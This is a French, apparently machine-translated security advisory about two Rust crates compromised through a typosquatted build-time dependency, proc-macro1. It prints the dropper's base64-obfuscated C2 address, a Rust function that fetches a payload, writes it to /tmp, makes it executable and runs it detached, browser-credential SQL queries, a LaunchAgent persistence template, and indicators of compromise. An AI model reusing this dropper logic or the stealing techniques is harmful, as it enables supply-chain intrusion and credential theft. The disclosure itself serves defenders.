Le 20 août, nous avons détecté deux crates Rust très populaires provenant du même responsable, vecteur à ajout uniquement (4 millions de téléchargements) et référence de tableau (244 millions de téléchargements), ont été compromis. Le pirate a ajouté une dépendance malveillante à un paquet nommé proc-macro1, qui télécharge une charge utile distante pendant la compilation et l'exécute sur la machine du développeur. Comme cette dépendance s'exécute au moment de la compilation, le simple fait de compiler un projet qui intègre l'une ou l'autre de ces crates suffit à déclencher l'infection, sans qu'il soit nécessaire d'appeler la moindre fonctionnalité de la crate en question. Cela revêt une importance bien plus grande que le Précédent : Compromis concernant les caisses de transport dont nous avions parlé en juin. Cette fois-ci, la portée de l'attaque est bien plus vaste, ce qui en fait la plus grande violation de sécurité liée à une caisse Rust que nous ayons observée en termes de nombre de téléchargements.
Ce qui s'est passé
C'est là que nous avons repéré proc-macro1 dans notre pipeline, sous la forme d'un nouveau paquet qui semble suspect : il télécharge un fichier distant et l'exécute. Son nom est un « typosquat » de proc-macro2, l'un des crates les plus utilisés de l'écosystème Rust, et le paquet reprenait la description, le nom de l'auteur et la documentation du crate original afin de se faire passer pour le véritable projet. Compte tenu du faible nombre de téléchargements, nous n'y avons pas prêté grande attention au départ. Cependant, dans l'heure qui a suivi, nous avons constaté que deux paquets populaires provenant du responsable de vecteur à ajout uniquement et référence de tableau dépendre soudainement de proc-macro1. C'est ce qui a transformé un simple « typosquat » en un véritable incident touchant la chaîne d'approvisionnement.
À première vue, les deux crates compromises semblent irréprochables. Leur code source provient bien du code en amont d'origine, et aucune des deux crates ne fait référence à proc-macro1 n'importe où dans son code source. L'attaque consiste en une seule ligne injectée dans chaque manifeste :
[dépendances]
proc-macro1 = « 1.0.107 »La logique malveillante réside entièrement dans le build.rs fichier de proc-macro1, que Cargo compile et exécute automatiquement lors d'une compilation. Le script de compilation masque sa destination réseau sous forme de fragments en base64 afin de déjouer les analyseurs de chaînes de caractères :
// SRC se décode en https://23[.]254[.]165[.]112:9089/
const SRC_URL_PARTS : &[&str] = &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", « MTEyOg== », « OTA4OS8= »];
// FIN : se décode en 23[.]254[.]165[.]112:443
const END_URL_PARTS : &[&str] = &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", « NDQz »];Au moment de la compilation, il sélectionne une charge utile adaptée au système d'exploitation et à l'architecture du processeur de la victime (Linux x86_64, Windows x86_64, macOS x86_64, macOS aarch64), puis la télécharge via HTTPS à l'aide d'une requête GET en clair. Sous Unix et macOS, il écrit les octets téléchargés sur le disque, marque le fichier comme exécutable et le lance en mode détaché en masquant sa sortie :
fn run_unix_payload(bytes: Vec<u8>) {
let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
// chmod +x /tmp/rust-setup
Command::new("chmod").args(["+x", path.to_str().unwrap()]).status().unwrap();
// execute detached, handing it the second address (23[.]254[.]165[.]112:443)
Command::new(&path)
.arg(end_url())
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("failed to spawn payload");
}Sous Windows, il génère un script PowerShell et le lance en mode invisible via un lanceur wscript et .vbs, une technique choisie — comme l’indique un commentaire intégré au code — pour « escape » l’objet « job » de Cargo, afin que le processus lancé continue de s’exécuter une fois la compilation terminée.
Nous avons également détecté un paquet malveillant similaire appelé proc-macro-fr, publié sous le nom de l'auteur daveroundy. Ce nom d'auteur imite droundy, le responsable officiel de vecteur à ajout uniquement et référence de tableau, ce qui laisse penser que le pirate créait d'autres paquets similaires et se faisait passer pour le même responsable afin de leur donner une apparence de crédibilité.
La charge utile
Nous avons obtenu deux des quatre versions de la plateforme, à savoir la version Linux x86_64 ELF (rust-crate_0.1.0) et le fichier Mach-O aarch64 pour macOS (rust-crate_0.4.0). L'exemple de Windows PowerShell que nous avons reçu était un fichier de zéro octet ; il ne contenait donc aucun contenu à analyser. Les deux binaires natifs sont des exécutables Rust, et il s'agit dans les deux cas de la même famille de logiciels malveillants, compilée pour des cibles différentes.
Son serveur de commande et de contrôle n'est pas codé en dur dans le fichier binaire. Au lieu de cela, le fichier binaire le lit à partir de l'argument de ligne de commande avec lequel il a été lancé, qui correspond exactement à la deuxième adresse (23[.]254[.]165[.]112:443) que le build.rs Le dropper transmet la charge utile au moment où il la génère. L'adresse IP constitue donc un indicateur de cette attaque, et ce même fichier binaire pourrait être réutilisé à l'avenir avec un serveur C2 différent.
Nous avons confirmé cela dans la version macOS grâce à un désassemblage. Le logiciel malveillant lit ses propres arguments de processus via _NSGetArgc et _NSGetArgv, les rassemble dans une liste, puis insère une valeur d'hôte dans un chemin de construction d'URL : https://{host}/49890878.
Voleur d'informations
La charge utile contient un programme de vol d'informations qui cible les identifiants stockés par les navigateurs basés sur Chromium. La version pour macOS référence les emplacements des profils de Google Chrome, Brave et Microsoft Edge, et intègre un code SQL qui extrait directement les identifiants enregistrés de la base de données de connexion du navigateur :
SELECT DISTINCT origin_url FROM connexions OÙ origin_url EST N'EST PAS NULL ...
SELECT DISTINCT valeur_nom_utilisateur FROM logins OÙ valeur_nom_utilisateur EST N'EST PAS NULL ...Il fait également référence au stockage des extensions de navigateur (Paramètres d'extension locaux), où sont stockées les données de nombreux portefeuilles de cryptomonnaies accessibles via un navigateur ; la portée de la collecte couvre donc à la fois les identifiants enregistrés et les données relatives aux portefeuilles.
Persistance
Sous macOS, la version intègre un modèle de liste de propriétés LaunchAgent et le Bibliothèque/LaunchAgents composant de chemin, ainsi qu’un Exécuter au démarrage clé. Le modèle est renseigné lors de l'exécution, et il est configuré pour exécuter une commande shell via /bin/zsh -c.
Nous avons récupéré le modèle intégré. Le Étiquette et la chaîne de commande sont des espaces réservés qui sont renseignés lorsque l'agent est enregistré sur le disque :
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>x</string>
<key>ProgramArguments</key>
<array>
<string>/bin/zsh</string>
<string>-c</string>
<string>D</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>La présence de ce modèle et la Bibliothèque/LaunchAgents Le chemin d'accès constitue une preuve solide que la charge utile est configurée pour installer un LaunchAgent au niveau utilisateur afin d'assurer sa persistance.
Commandement et contrôle
Nous disposons de preuves solides indiquant que la charge utile contient également un exécuteur de commandes à distance léger. Une fois lancé, celui-ci effectue une procédure d’enregistrement auprès du serveur, en envoyant un ensemble structuré de champs permettant d’identifier la machine infectée, notamment un identifiant, l’URL principale et des informations de base sur l’hôte telles que os_type, os_ver, os_arch, version_de_la_plateforme, application, et e-mail. Le serveur peut alors répondre en renvoyant des tâches, et la charge utile les transmet à un répartiteur interne. Ce répartiteur prend en charge un petit ensemble fixe de commandes. Les noms que nous avons identifiés sont les suivants : minicfg, start-up, runscript, Coquille, et ShellX. Le runscript, Coquille, et ShellX sont les commandes d'exécution. Nous avons également identifié une primitive d'attente temporisée, ce qui indique que la charge utile interroge probablement le serveur C2 à intervalles réguliers pour vérifier s'il y a de nouvelles commandes, plutôt que de le contacter une seule fois.
Comment Aikido détecte cela
Si vous êtes un utilisateur Aikido, vérifiez votre flux central et filtrez les problèmes de logiciels malveillants. Cela apparaîtra comme un problème critique 100/100. Aikido effectue des rescans nocturnes, mais nous vous recommandons de déclencher un rescan manuel dès maintenant.
Si vous n'êtes pas encore un utilisateur Aikido, vous pouvez créer un compte et connecter vos dépôts. Notre couverture des logiciels malveillants est incluse dans le plan gratuit, aucune carte de crédit requise.
Pour une couverture plus large au sein de toute votre équipe, la Device Protection d'Aikido vous offre une visibilité et un contrôle sur les packages logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins d'IDE et les dépendances de build, le tout en un seul endroit. Arrêtez les malwares avant qu'ils ne soient installés.
Pour une protection future, envisagez Aikido Safe Chain (open source). Safe Chain s'intègre à votre flux de travail existant, en interceptant les commandes npm, npx, yarn, pnpm et pnpx et en vérifiant les paquets par rapport à Aikido Intel avant l'installation.
Indicateurs de compromission
Paquets affectés
proc-macro-fr1.0.10 (dépendance malveillante)proc-macro11.0.107 (dépendance malveillante)vecteur à ajout uniquement0.1.9, version compromise (4 484 606 téléchargements)référence de tableau0.3.10, compromise (244 989 384 téléchargements)
Indicateurs réseau
23[.]254[.]165[.]112:9089- Hôte de diffusion de la charge utile23[.]254[.]165[.]112:443- L'hôte C2 est transmis en tant qu'argument à la charge utile exécutée
Indicateurs de fichier
Les fichiers binaires de la charge utile proc-macro1 téléchargements, a chuté à /tmp/rust-setup sous Linux et macOS :
rust-crate_0.1.0(ELF pour Linux x86_64)- SHA-256:
408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434
- SHA-256:
rust-crate_0.4.0(macOS aarch64 Mach-O)- SHA-256:
74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306
- SHA-256:

